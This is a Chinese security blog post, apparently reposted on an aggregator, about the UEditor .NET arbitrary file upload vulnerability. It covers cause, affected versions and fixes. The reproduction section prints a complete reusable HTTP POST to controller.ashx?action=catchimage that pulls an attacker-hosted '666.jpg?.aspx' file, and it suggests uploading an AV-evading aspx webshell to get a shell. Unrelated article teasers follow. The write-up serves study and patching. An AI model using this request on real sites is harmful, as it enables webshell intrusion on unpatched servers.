实战纪实 | 编辑器漏洞之Ueditor-任意文件上传漏洞 (老洞新谈)

news2024/11/24 9:12:03

UEditor 任意文件上传漏洞

前言

前段时间在做某政府单位的项目的时候发现存在该漏洞,虽然是一个老洞,但这也是容易被忽视,且能快速拿到shell的漏洞,在利用方式上有一些不一样的心得,希望能帮助到一些还不太了解的小伙伴,故此写了此篇文章。

一、 漏洞简介

1.1 漏洞描述

Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。

1.2 影响范围

该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。

1.3 漏洞原理

漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。

1.4 漏洞修复

1.修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码。
2.使用各类WAF软件,防止攻击者上传恶意文件。
3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。

二、漏洞复现

首先

我们进入到该系统的后台,通过挨个功能点的查看最终再此位置发现了一个Ueditor的编辑器。

图片

第一步:

验证码漏洞是否存在:拼接漏洞URL地址:
UEditor/net/controller.ashx?action=catchimage

显示{“state”:”参数错误:没有指定抓取源”},就基本可以继续尝试漏洞利用

图片

图片

第二步:漏洞利用
1、先谈一下部分人可能存在的误区

例如:很多小伙伴当看网上文章的时候,看到要构造写一个HTML的文件上传脚本,需要把自己服务器上的图片码上传到漏洞站点的时候。

第一种:有些不太了解的小伙伴在网上看到一些以下位置的复现报告的时候,有的就会说Windows系统没法命名文件带?号的,比如:xxx.jpg?.aspx 格式的。

第二种:我没有Linux服务器怎么办,没法在Windows系统的服务器上用这种带问号?格式的文件怎么办,之类这样的困惑。

很多小伙伴就还真被误导进去了。

图片

图片

1.1 误区解惑

网上很多文章并没有详细说明一些看似简单的方法步骤,但却有时候会容易让不太了解的人,产生误导。

这里我来详细解惑:
重点:
第一点:就是直接用图片码哪怕不需要图片码内容绕过的都可以,有时候直接一个稍微免杀的aspx的码改为jpg格式都行。最终示个人遇到的实际情况而定。
第二点:不需要用到Linux服务器,直接Windows服务器即可。

图片

从上图实践中可以看出,哪怕是Linux系统类型的服务器,你用格式为:xxx.jpg?.aspx 的文件上传也是不行的,哪怕你的服务器目录存在该文件,也会显示404

正确成功的方法

图片

下图可以看到上传成功返回上传的路径

图片

2、这里我个人经验常用推荐使用的方法:

(墙裂推荐大家,或者嫌麻烦想省事的朋友使用)

2.1 个人推荐:数据包构造法

原因:当你用网上很多写用什么HTML文件的方式上传,抓包你会发现其实上传的数据包是这样的。

图片

由此我们可以换个思路想到,为何不直接用该数据包呢,以后每次遇到该编辑器漏洞,都可尝试用该数据包修改部分内容即可直接使用。方便又快捷。

图片

通用数据包:
POST /替换漏洞URL地址拼接/UEditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="100", "Chromium";v="100", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx

最后上传成功,Getshell

图片

该编辑器还有其他漏洞如SSRF,存储型xss等,这里就不在过多赘述,感兴趣的小伙伴可自行网上搜索尝试。

该类型漏洞现在还是有不少,只要细心去发现。
希望此篇文章对大家能有所帮助,觉得对你有所帮助的小伙伴,可以评论加点赞!
谢谢!

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1588438.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JAVA中如何确保N个线程可以访问N个资源,但同时又不导致死锁?

使用多线程的时候,一种非常简单的避免死锁的方式:指定获取锁的顺序,并强制现场按照指定的顺序获取锁。因此,所有线程按照同样的顺序加锁和释放就不会出现死锁。 请问什么是死锁(deadlock)? 竞争不可抢占资源形成死锁 如果有两…

工业采集网关有何功能?可以带来哪些价值?-天拓四方

一、行业背景 随着工业领域的快速发展,尤其是智能制造的兴起,工业自动化、智能化和数字化已成为工业转型升级的必然趋势。在这一进程中,工业数据采集和处理扮演着至关重要的角色。作为连接工业现场设备、传感器与上层管理系统的桥梁&#xf…

2024年环境预防与新材料国际会议 (EPNM 2024)

2024年环境预防与新材料国际会议 (EPNM 2024) 2024 International Conference on Environmental Prevention and New Materials 【会议简介】 2024年环境预防与新材料国际会议即将在张家界召开。本次会议旨在汇聚全球环境预防与新材料领域的专家学者,共同探讨环境…

【MATLAB源码-第37期】matlab基于STBC(空时分组码)的MIMO系统误码率仿真。

操作环境: MATLAB 2022a 1、算法描述 空时分组码(Space-Time Block Code,简称STBC)是一种在多输入多输出(MIMO)无线通信系统中用于提高数据传输可靠性的编码技术。MIMO技术利用多个发射和接收天线来同时…

RA4000CE为汽车动力传动系统提供解决方案

目前汽车电气化的水平越来越高,其中比较显著的一个发展方向就是将发动机管理系统和自动变速器控制系统,集成为动力传动系统的综合控制(PCM)。作为汽车动力的核心部件,通过电子系统的运用,将外部多个传感器和执行环节的数据进行统一…

私有化即时通讯软件,WorkPlus提供的私有化、安全通讯解决方案

在当今信息化快速发展的时代,安全问题已经成为各行各业关注的焦点。特别是在金融、政府单位和芯片等关键行业,信息安全的重要性不言而喻。这些行业涉及到大量的敏感数据和关键信息,一旦发生泄露,可能会对国家安全、企业利益甚至个…

上位机图像处理和嵌入式模块部署(改进的qmacvisual动态插件卸载)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 前面我们讨论过,qmacvisual虽然提供了很多的功能,包括的种类很多,但是总有一些功能是客户希望定制的。这些都是…

局域网内部使用的视频会议系统推荐

随着远程办公的普及和全球化的发展趋势,企业需要一个高效、灵活、安全的音视频会议解决方案,以支持远程办公的协同工作、跨地域沟通等需要。私有化音视频会议就是一个适合企业自身部署的解决方案。它不仅能够满足企业信息管理和保密的需求,而…

关于DNS解析那些事儿,了解DNS解析的基础知识

DNS,全称Domain Name System域名系统,是一个将域名和IP地址相互映射的一个分布于世界各地的分布式数据库,而DNS解析就是将域名转换为IP地址的过程,使人们可以轻松实现通过域名访问网站。DNS解析是网站建设非常关键的一步&#xff…

事务的隔离性

参考: 小林coding MySQL服务器同时处理多个事务时,会出现脏读,不可重复读,幻读问题。 脏读 一个事务读到另一个未提交事务修改过的数据。 举例:事务A先读取数据,并对其进行修改,此时事务B进行读取获取到…

2024妈妈杯mathorcup B题详细思路代码:甲骨文智能识别中原始拓片单字自动分割与识别研究

甲骨文智能识别中原始拓片单字自动分割与识别研究: 问题一: 图像预处理:这通常包括将图像转换为灰度图,剔除噪声,调整对比度,以及可能的二值化处理,使得甲骨文的特征更加突出。此外&#xff0c…

企企通入选2023年度中国高科技高成长企业、2023中小微企业数字化转型服务商TOP100榜单!

近期,2023年度中国高科技高成长企业系列榜单、2023中小微企业数字化转型服务商TOP100重磅发布,企企通凭借在数字化采购领域的产品能力和服务能力等综合实力,连续斩获多个奖项,得到主流权威媒体机构认可,印证了企企通的…

leetcode 1702

leetcode 1702 题目 例子 代码思路 class Solution { public:string maximumBinaryString(string binary) {int n binary.size();int i binary.find(0);if(i string::npos){return binary;}int zeros count(binary.begin(), binary.end(), 0);string s(n, 1);s[izeros-1]…

Jmeter02-2:参数化组件其他方式

0、Jmeter组件:参数化概述 0.1 是什么? 参数化是动态的获取并设置数据 0.2 为什么? 比如执行批量操作时,批量插入或批量删除,之前数据都是手写的,每执行完都要修改一次,效率太低 而参数化就是…

数字化社交的引擎:解析Facebook的影响力

随着数字技术的飞速发展,社交网络已成为人们日常生活中不可或缺的一部分。而在这个数字化社交的世界中,Facebook作为最具影响力和知名度的平台之一,其所扮演的角色越发重要。本文将深入解析Facebook在数字化社交领域的影响力,并探…

C/C++ 配置 jemalloc 的一些选项,处理一些疑似内存泄漏的问题。

在 jemalloc 之中有三种配置 jemalloc 选项的一些方式。 1、修改选项代码默认值(重新编译) 2、修改环境变量 MALLOC_CONF,并重启应用程序 注意: 仅支持 opt. 节配置选项 export MALLOC_CONF"retain:true,dirty_decay_ms:2…

牛客 NC252 多数组中位数【中等 模拟 Java,Go】

题目 题目链接: https://www.nowcoder.com/practice/b6bb0bce88894108bfc23e9b7b012420 思路 模拟,2数组合并一个数组helphelp长度为奇数,直接取中间值,为偶数,中间2个值,哪个小返回哪个参考答案Java imp…

LightM-UNet:Mamba 辅助的轻量级 UNet 用于医学图像分割

摘要 https://arxiv.org/pdf/2403.05246.pdf UNet及其变体在医学图像分割中得到了广泛应用。然而,这些模型,特别是基于Transformer架构的模型,由于参数众多和计算负载大,使得它们不适合用于移动健康应用。最近,以Mamb…

Unity-超级方便的Excel 读写插件

超级无敌棒棒糖🖌 🌭功能介绍🍕 Demo🌳准备一个数据类🌳准备一个Excel🌳导入Excel🌳行数据自动转换🌳导出到Excel 🍱新增映射字段类型 🌭功能介绍 &#x1f…